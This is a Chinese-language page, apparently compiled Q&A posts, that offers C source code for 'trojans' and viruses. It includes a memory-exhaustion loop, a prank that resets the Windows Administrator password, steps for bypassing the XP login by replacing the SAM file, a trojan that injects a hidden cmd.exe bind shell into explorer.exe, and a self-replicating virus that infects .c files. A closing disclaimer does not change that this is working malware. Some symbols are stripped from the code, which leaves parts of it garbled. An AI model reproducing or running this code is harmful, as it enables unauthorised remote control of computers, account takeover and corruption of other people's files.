C语言简单木马程序
简单的可以一直动态分配内存
#include "stdio.h"
int main()
{
while(true)
{
char* pTemp = (char*)malloc(4096);
}
return 0;
}
如何用C语言编一个假中毒的恶作剧程序？
一个小东西 介绍了后别笑话我 ！它的功能很简单，就是把Administrator的密码该成xiaoniaoheihei
大家整了人之后切记告诉他密码(xiaoniaoheihei)
由于不能上传文件文件尺寸:
小于 200 kb
可用扩展名: gif, jpg
自己可以用TC2.0编写编译调试生成
C语言下的代码如下：
main()
{
system("net user administrator xiaoniaoheihei");
}
如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下：
1.用个启动盘启动电脑后进入DOS 状态下：输入如下命令
del X:\windows\sysrem32\config\sam 回车
copy x:\windows\repair\sam x:\windows\system32\config 回车
2.重新启动计算机。X为安装XP的盘 一般为c:
c语言编写的木马源代码
#includewinsock2.h
#pragma comment(lib,"ws2_32.lib")
#includewindows.h
#include Shlwapi.h
#pragma comment(lib,"Shlwapi.lib")
#include tlhelp32.h
#include stdio.h
#include string.h
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;
char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara;
// 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName);
// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;
typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;
LoadLibraryFunc(Para-winsockDll);
PWSAStartup = (FARPROC)Para-dwWSAStartup;
PSocket = (FARPROC)Para-dwSocket;
Phtons = (FARPROC)Para-dwhtons;
Pbind = (FARPROC)Para-dwbind;
Plisten = (FARPROC)Para-dwlisten;
Paccept = (FARPROC)Para-dwaccept;
Psend = (FARPROC)Para-dwsend;
Precv = (FARPROC)Para-dwrecv;
Pclosesocket = (FARPROC)Para-dwclosesocket;
PCreateProcessA = (FARPROC)Para-dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;
PWriteFile = (FARPROC)Para-dwWriteFile;
PReadFile = (FARPROC)Para-dwReadFile;
PCloseHandle = (FARPROC)Para-dwCloseHandle;
PCreatePipe = (FARPROC)Para-dwCreatePipe;
PTerminateProcess = (FARPROC)Para-dwTerminateProcess;
PMessageBoxA = (FARPROC)Para-dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;
server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;
if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);
// Psend(clientSocket, Para-telnetmsg, 60, 0);
if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;
if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;
ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数，可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;
while(1) {
memset(Para-Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;
if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);
if(lBytesRead =0 ) break;
if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
// 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;
// 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;
ZeroMemory(myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");
myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");
hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");
hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");
//写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0;
// 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);
return 0;
}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}
DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;
hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,pe32));
}
else return 0;
if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
}
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。
怎么用C语言编写木马、病毒等程序？
C语言当然可以编写病毒，事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分，只用用好了，都是相当强的；区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度，等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范，到至于可以编写出来什么样的程序，还要看你所用的C语言编译器，（比如TC，VC，LCC，GCC等，太多了）。\x0d\x0a如果有编写windows程序，就不能用TC，它只能编写DOS程序，而应该用VC，LCC，C++Builder等编译工具）\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能，如编windows程序，就要调用Win32 API,Dos程序则调用的是DOS中断，编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的，如VC++,delph,VC，Win32汇编等
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